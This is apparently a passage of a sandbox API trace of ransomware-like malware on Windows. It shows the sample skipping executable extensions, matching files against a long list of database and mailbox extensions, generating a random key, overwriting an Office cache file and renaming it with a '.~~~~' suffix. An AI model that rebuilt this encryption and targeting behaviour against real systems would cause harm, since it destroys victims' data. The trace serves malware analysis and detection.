	[0067.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".dbt") returned 0x0
	[0067.378] lstrlenW (lpString=".db") returned 3
	[0067.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".db") returned 0x0
	[0067.378] lstrlenW (lpString=".TXT") returned 4
	[0067.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".TXT") returned 0x0
	[0067.378] lstrlenW (lpString=".MDF") returned 4
	[0067.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".MDF") returned 0x0
	[0067.378] lstrlenW (lpString=".bdb") returned 4
	[0067.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".bdb") returned 0x0
	[0067.378] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0067.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0067.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fa888
	[0067.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0067.379] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0067.380] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0067.380] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0067.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0067.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0067.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f1268
	[0067.380] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=18737025657) returned 1
	[0067.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x952ea470, dwHighDateTime=0x1d60e1e)) 
	[0067.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0067.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0067.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0067.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39de38
	[0067.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0067.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de38 | out: hHeap=0x300000) returned 1
	[0067.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0067.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0067.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6e68
	[0067.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0067.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0067.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0067.381] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0067.381] GetLastError () returned 0x0
	[0067.381] SetLastError (dwErrCode=0x0) 
	[0067.381] GetLastError () returned 0x0
	[0067.381] SetLastError (dwErrCode=0x0) 
	[0067.381] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0067.381] GetLastError () returned 0x0
	[0067.382] SetLastError (dwErrCode=0x0) 
	[0067.382] GetLastError () returned 0x0
	[0067.382] SetLastError (dwErrCode=0x0) 
	[0067.382] GetLastError () returned 0x0
	[0067.382] SetLastError (dwErrCode=0x0) 
	[0067.382] GetLastError () returned 0x0
	[0067.382] SetLastError (dwErrCode=0x0) 
	[0067.382] GetLastError () returned 0x0
	[0067.382] SetLastError (dwErrCode=0x0) 
	[0067.382] GetLastError () returned 0x0
	[0067.382] SetLastError (dwErrCode=0x0) 
	[0067.382] GetLastError () returned 0x0
	[0067.382] SetLastError (dwErrCode=0x0) 
	[0067.382] GetLastError () returned 0x0
	[0067.382] SetLastError (dwErrCode=0x0) 
	[0067.382] GetLastError () returned 0x0
	[0067.382] SetLastError (dwErrCode=0x0) 
	[0067.382] GetLastError () returned 0x0
	[0067.383] SetLastError (dwErrCode=0x0) 
	[0067.383] GetLastError () returned 0x0
	[0067.383] SetLastError (dwErrCode=0x0) 
	[0067.383] GetLastError () returned 0x0
	[0067.383] SetLastError (dwErrCode=0x0) 
	[0067.383] GetLastError () returned 0x0
	[0067.383] SetLastError (dwErrCode=0x0) 
	[0067.383] GetLastError () returned 0x0
	[0067.383] SetLastError (dwErrCode=0x0) 
	[0067.383] GetLastError () returned 0x0
	[0067.383] SetLastError (dwErrCode=0x0) 
	[0067.383] GetLastError () returned 0x0
	[0067.383] SetLastError (dwErrCode=0x0) 
	[0067.383] GetLastError () returned 0x0
	[0067.383] SetLastError (dwErrCode=0x0) 
	[0067.383] GetLastError () returned 0x0
	[0067.383] SetLastError (dwErrCode=0x0) 
	[0067.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0067.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c04d0
	[0067.384] ReadFile (in: hFile=0x12c, lpBuffer=0x3c04d0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0067.403] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0067.403] WriteFile (in: hFile=0x12c, lpBuffer=0x3c04d0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0067.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c04d0 | out: hHeap=0x300000) returned 1
	[0067.404] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0067.404] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0067.407] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0067.407] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0067.407] CloseHandle (hObject=0x12c) returned 1
	[0073.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0073.381] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.~~~~")) returned 1
	[0073.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b36f8 | out: hHeap=0x300000) returned 1
	[0073.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0073.577] GetLastError () returned 0x0
	[0073.577] SetLastError (dwErrCode=0x0) 
	[0073.577] GetLastError () returned 0x0
	[0073.578] SetLastError (dwErrCode=0x0) 
	[0073.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623e0 | out: hHeap=0x300000) returned 1
	[0073.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362400 | out: hHeap=0x300000) returned 1
	[0073.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368bb0 | out: hHeap=0x300000) returned 1
	[0073.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f1268 | out: hHeap=0x300000) returned 1
	[0073.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa888 | out: hHeap=0x300000) returned 1
	[0073.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5468 | out: hHeap=0x300000) returned 1
	[0073.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0073.578] RtlWakeConditionVariable () returned 0x365f70
	[0073.578] GetCurrentThreadId () returned 0x3a4
	[0073.578] GetCurrentThreadId () returned 0x3a4
	[0073.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0073.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4100 | out: hHeap=0x300000) returned 1
	[0073.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e1f0 | out: hHeap=0x300000) returned 1
	[0073.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0073.578] lstrlenW (lpString=".scr") returned 4
	[0073.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".scr") returned 0x0
	[0073.578] lstrlenW (lpString=".cmd") returned 4
	[0073.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".cmd") returned 0x0
	[0073.578] lstrlenW (lpString=".dll") returned 4
	[0073.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".dll") returned 0x0
	[0073.578] lstrlenW (lpString=".bat") returned 4
	[0073.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".bat") returned 0x0
	[0073.578] lstrlenW (lpString=".cpl") returned 4
	[0073.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".cpl") returned 0x0
	[0073.579] lstrlenW (lpString=".sys") returned 4
	[0073.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".sys") returned 0x0
	[0073.579] lstrlenW (lpString=".msc") returned 4
	[0073.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".msc") returned 0x0
	[0073.579] lstrlenW (lpString=".com") returned 4
	[0073.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".com") returned 0x0
	[0073.579] lstrlenW (lpString=".lnk") returned 4
	[0073.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".lnk") returned 0x0
	[0073.579] lstrlenW (lpString=".msp") returned 4
	[0073.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".msp") returned 0x0
	[0073.579] lstrlenW (lpString=".pif") returned 4
	[0073.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".pif") returned 0x0
	[0073.579] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0073.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0073.579] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
	[0073.580] lstrlenW (lpString=".sqb") returned 4
	[0073.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".sqb") returned 0x0
	[0073.580] lstrlenW (lpString=".ost") returned 4
	[0073.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".ost") returned 0x0
	[0073.580] lstrlenW (lpString=".txt") returned 4
	[0073.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".txt") returned 0x0
	[0073.580] lstrlenW (lpString=".mdt") returned 4
	[0073.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".mdt") returned 0x0
	[0073.580] lstrlenW (lpString=".BDB") returned 4
	[0073.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".BDB") returned 0x0
	[0073.580] lstrlenW (lpString=".eql") returned 4
	[0073.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".eql") returned 0x0
	[0073.580] lstrlenW (lpString=".DBF") returned 4
	[0073.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".DBF") returned 0x0
	[0073.580] lstrlenW (lpString=".EQL") returned 4
	[0073.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".EQL") returned 0x0
	[0073.580] lstrlenW (lpString=".FDB") returned 4
	[0073.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".FDB") returned 0x0
	[0073.580] lstrlenW (lpString=".EDB") returned 4
	[0073.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".EDB") returned 0x0
	[0073.580] lstrlenW (lpString=".DACPAC") returned 7
	[0073.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".DACPAC") returned 0x0
	[0073.580] lstrlenW (lpString=".VHD") returned 4
	[0073.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".VHD") returned 0x0
	[0073.580] lstrlenW (lpString=".DBV") returned 4
	[0073.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".DBV") returned 0x0
	[0073.581] lstrlenW (lpString=".dacpac") returned 7
	[0073.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".dacpac") returned 0x0
	[0073.581] lstrlenW (lpString=".sdf") returned 4
	[0073.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".sdf") returned 0x0
	[0073.581] lstrlenW (lpString=".accdb") returned 6
	[0073.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".accdb") returned 0x0
	[0073.581] lstrlenW (lpString=".DBX") returned 4
	[0073.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".DBX") returned 0x0
	[0073.581] lstrlenW (lpString=".MDT") returned 4
	[0073.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".MDT") returned 0x0
	[0073.581] lstrlenW (lpString=".SQB") returned 4
	[0073.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".SQB") returned 0x0
	[0073.581] lstrlenW (lpString=".vhd") returned 4
	[0073.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".vhd") returned 0x0
	[0073.581] lstrlenW (lpString=".bac") returned 4
	[0073.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".bac") returned 0x0
	[0073.581] lstrlenW (lpString=".mdf") returned 4
	[0073.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".mdf") returned 0x0
	[0073.581] lstrlenW (lpString=".BAK") returned 4
	[0073.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".BAK") returned 0x0
	[0073.581] lstrlenW (lpString=".BAC") returned 4
	[0073.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".BAC") returned 0x0
	[0073.581] lstrlenW (lpString=".dbs") returned 4
	[0073.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".dbs") returned 0x0
	[0073.582] lstrlenW (lpString=".vhdx") returned 5
	[0073.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".vhdx") returned 0x0
	[0073.582] lstrlenW (lpString=".NDF") returned 4
	[0073.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".NDF") returned 0x0
	[0073.582] lstrlenW (lpString=".dat") returned 4
	[0073.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".dat") returned 0x0
	[0073.582] lstrlenW (lpString=".DBS") returned 4
	[0073.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".DBS") returned 0x0
	[0073.582] lstrlenW (lpString=".CKP") returned 4
	[0073.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".CKP") returned 0x0
	[0073.582] lstrlenW (lpString=".edb") returned 4
	[0073.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".edb") returned 0x0
	[0073.582] lstrlenW (lpString=".PST") returned 4
	[0073.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".PST") returned 0x0
	[0073.582] lstrlenW (lpString=".dbf") returned 4
	[0073.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".dbf") returned 0x0
	[0073.582] lstrlenW (lpString=".SQL") returned 4
	[0073.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".SQL") returned 0x0
	[0073.582] lstrlenW (lpString=".pst") returned 4
	[0073.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".pst") returned 0x0
	[0073.582] lstrlenW (lpString=".dbv") returned 4
	[0073.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".dbv") returned 0x0
	[0073.582] lstrlenW (lpString=".SDF") returned 4
	[0073.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".SDF") returned 0x0
	[0073.582] lstrlenW (lpString=".dtxs") returned 5
	[0073.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".dtxs") returned 0x0
	[0073.583] lstrlenW (lpString=".db3") returned 4
	[0073.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".db3") returned 0x0
	[0073.583] lstrlenW (lpString=".OST") returned 4
	[0073.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".OST") returned 0x0
	[0073.583] lstrlenW (lpString=".dbx") returned 4
	[0073.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".dbx") returned 0x0
	[0073.583] lstrlenW (lpString=".DB3") returned 4
	[0073.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".DB3") returned 0x0
	[0073.583] lstrlenW (lpString=".DAT") returned 4
	[0073.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".DAT") returned 0x0
	[0073.583] lstrlenW (lpString=".VHDX") returned 5
	[0073.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".VHDX") returned 0x0
	[0073.583] lstrlenW (lpString=".ndf") returned 4
	[0073.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".ndf") returned 0x0
	[0073.583] lstrlenW (lpString=".DB") returned 3
	[0073.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".DB") returned 0x0
	[0073.583] lstrlenW (lpString=".sql") returned 4
	[0073.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".sql") returned 0x0
	[0073.583] lstrlenW (lpString=".MYD") returned 4
	[0073.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".MYD") returned 0x0
	[0073.583] lstrlenW (lpString=".DBT") returned 4
	[0073.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".DBT") returned 0x0
	[0073.583] lstrlenW (lpString=".ACCDB") returned 6
	[0073.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".ACCDB") returned 0x0
	[0073.583] lstrlenW (lpString=".fdb") returned 4
	[0073.584] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".fdb") returned 0x0
	[0073.584] lstrlenW (lpString=".bak") returned 4
	[0073.584] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".bak") returned 0x0
	[0073.584] lstrlenW (lpString=".myd") returned 4
	[0073.584] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".myd") returned 0x0
	[0073.584] lstrlenW (lpString=".DTXS") returned 5
	[0073.584] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".DTXS") returned 0x0
	[0073.584] lstrlenW (lpString=".ckp") returned 4
	[0073.584] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".ckp") returned 0x0
	[0073.584] lstrlenW (lpString=".dbt") returned 4
	[0073.584] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".dbt") returned 0x0
	[0073.584] lstrlenW (lpString=".db") returned 3
